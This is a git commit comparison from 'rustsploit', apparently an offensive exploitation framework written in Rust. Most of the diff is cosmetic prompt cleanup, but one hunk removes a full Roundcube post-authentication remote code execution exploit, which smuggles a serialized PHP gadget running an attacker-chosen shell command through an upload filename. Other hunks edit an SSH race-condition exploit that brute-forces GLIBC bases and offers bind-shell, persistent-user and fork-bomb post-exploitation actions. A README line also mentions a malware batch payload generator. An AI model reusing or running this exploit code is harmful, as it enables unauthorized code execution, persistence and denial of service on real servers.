Compare commits

..

4 Commits

Author SHA1 Message Date
S.B acefb37cfa Add interactive ping sweep and new scanner modules 2025-06-17 01:05:51 +02:00
S.B a942303323 Add new ping sweep and HTTP title scanners 2025-06-17 00:22:35 +02:00
S.B 6a4aa3a2ad Merge pull request #15 from s-b-repo/codex/improve-modules-and-optimize-code
Refine proxy selection and fix generator path
2025-06-17 00:07:54 +02:00
S.B 0b1c1a8c7a fix generator path and improve proxy selection 2025-06-17 00:06:52 +02:00
26 changed files with 377 additions and 821 deletions
+2 -8
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.2.0"
version = "0.1.0"
edition = "2021"
build = "build.rs"
@@ -31,7 +31,7 @@ rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.37.2", features = ["multithread"] }
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
@@ -75,9 +75,6 @@ aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
# for Roundcube exploit payload encoding
data-encoding = "2.5.0"
#avanti
url = "2.5.4"
semver = "1.0.26"
@@ -86,9 +83,6 @@ semver = "1.0.26"
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
#pingsweep
which = "8.0.0"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
+39 -33
View File
@@ -4,7 +4,7 @@ A Rust-based modular exploitation framework inspired by RouterSploit. This tool
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
**Developer Documentation**:
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
---
@@ -48,10 +48,14 @@ rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added port scanner
added ping_sweep network scanner
added http_title_scanner
added log4j_scanner
added heartbleed_scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
@@ -64,27 +68,27 @@ added rtsp_bruteforce module
dynamic modules listing and colored listing
```
## Building & Running
## requirements
---
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11
```
for rdp bruteforce modudle
### Clone the Repository
```
```
### 📦 Clone the Repository
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
```
### Build the Project
### 🛠️ Build the Project
```
cargo build
@@ -100,9 +104,9 @@ To install:
cargo install
```
---
### Run in Interactive Shell Mode
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
@@ -112,7 +116,7 @@ cargo run
Once inside the shell:
```
```text
rsf> help
rsf> modules
rsf> show_proxies
@@ -124,30 +128,30 @@ rsf> set target 192.168.1.1
rsf> run
```
Supports retrying proxies until one works (if proxy_on is enabled).
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
---
### Run in CLI Mode
### 🔧 Run in CLI Mode
#### ▶ Exploit
```
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### Scanner
#### 🧪 Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
```
#### Credentials
#### 🔐 Credentials
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
---
## Proxy Retry Logic (Shell Mode)
## 🌐 Proxy Retry Logic (Shell Mode)
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
@@ -156,7 +160,7 @@ cargo run -- --command creds --module ssh_brute --target 192.168.1.1
---
## Module System
## 📂 Module System
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
@@ -174,7 +178,7 @@ pub async fn run_interactive(target: &str) -> Result<()>
---
## Shell State
## 🧼 Shell State
The shell keeps:
- Current module
@@ -185,25 +189,27 @@ No session state is saved — everything resets on restart.
---
## Want to Add a Module?
## 💡 Want to Add a Module?
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
Includes:
- How to write modules
- Auto-dispatch system explained
- Module placement
- Proxy logic details
- Scanner vs Exploit vs Credential paths
- How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
---
## Contributors
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
## Credits
## 👥 Credits
- **wordlists*: seclists & me
---
+1 -1
View File
@@ -163,7 +163,7 @@ Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> use scanners/heartbleed_scanner
rsf> set target 192.168.0.1
rsf> run
```
+5 -6
View File
@@ -1,5 +1,4 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
@@ -332,7 +331,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -340,12 +339,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -360,7 +359,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -369,7 +368,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
+5 -6
View File
@@ -1,5 +1,4 @@
use anyhow::Result;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -176,7 +175,7 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -184,13 +183,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
println!("This field is required. Please provide a value.");
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
print!("{} [{}]: ", msg, default_val);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -205,7 +204,7 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
print!("{} {} : ", msg, options);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -217,7 +216,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
}
}
}
@@ -1,7 +1,6 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -296,7 +295,7 @@ async fn try_rtsp_login(
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -304,12 +303,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -320,7 +319,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -328,7 +327,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
+5 -6
View File
@@ -1,5 +1,4 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
@@ -207,7 +206,7 @@ fn format_host_port(input: &str) -> Result<String> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -215,13 +214,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -236,7 +235,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -248,7 +247,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
+1 -2
View File
@@ -13,6 +13,5 @@ pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod palto_alto;
@@ -108,7 +108,7 @@ pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("{}", "Enter target port (default 443): ".cyan().bold());
print!("Enter target port (default 443): ");
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
+1 -2
View File
@@ -1,5 +1,4 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
@@ -10,7 +9,7 @@ use std::{
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
@@ -4,7 +4,6 @@
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
@@ -286,8 +285,7 @@ call :SleepS {random_sleep_lo}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
-1
View File
@@ -1 +0,0 @@
pub mod roundcube_postauth_rce;
@@ -1,215 +0,0 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
+4 -5
View File
@@ -4,7 +4,6 @@
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
@@ -72,7 +71,7 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
print!("Enter malicious filename (e.g. ../evil.sh): ");
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
@@ -82,7 +81,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for fake track ID
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
print!("Enter fake track ID (e.g. INJECT1): ");
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
@@ -92,7 +91,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for codec extension
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
print!("Enter codec extension (e.g. mp3): ");
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
@@ -155,7 +154,7 @@ pub async fn run(target: &str) -> Result<()> {
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("{}", "Enter port [17086]: ".cyan().bold());
print!("Enter port [17086]: ");
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
@@ -1,10 +1,9 @@
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
@@ -77,7 +76,7 @@ fn normalize_target(ip: &str, port: u16) -> Result<String> {
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
@@ -111,7 +110,7 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
println!("[*] Shell session ended.");
Ok(())
}
@@ -130,10 +129,9 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
Ok(_) => bail!("Connection closed while receiving data"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
continue;
}
Err(e) => return Err(e.into()),
@@ -213,28 +211,27 @@ async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
println!("Available Post-Ex Actions:");
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
println!(" 3. Fork bomb (Denial/Crash)");
println!(" 4. Interactive PTY shell (recommended)");
}
fn get_postex_command(action: u8) -> String {
@@ -254,10 +251,10 @@ fn get_postex_command(action: u8) -> String {
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
println!("[*] Target: {}:{}", target_ip, port_num);
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
print!("Select post-ex action [1-4, default 4]: ");
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
@@ -265,7 +262,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
print!("Enter the number of attempts per GLIBC base: ");
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
@@ -275,7 +272,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
}
}
}
@@ -291,9 +288,9 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
for glibc_base_addr in glibc_bases {
@@ -327,7 +324,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
@@ -378,10 +375,10 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
println!("[*] Check chosen post-exploitation action effects.");
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
}
success_found = true;
break;
@@ -393,8 +390,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
}
Ok(())
}
@@ -411,7 +408,7 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
print!("Enter the target port number (e.g., 22): ");
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
@@ -423,10 +420,10 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
}
}
}
+4
View File
@@ -1 +1,5 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
@@ -1,7 +1,7 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use cipher::{BlockDecrypt, KeyInit};
use cipher::generic_array::GenericArray;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
@@ -16,6 +16,8 @@ use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
use cipher::consts::U16;
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
@@ -24,9 +26,7 @@ fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
@@ -47,8 +47,7 @@ fn parse_target(target: &str) -> Result<(String, u16)> {
return Ok((parts[0].to_string(), port));
}
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
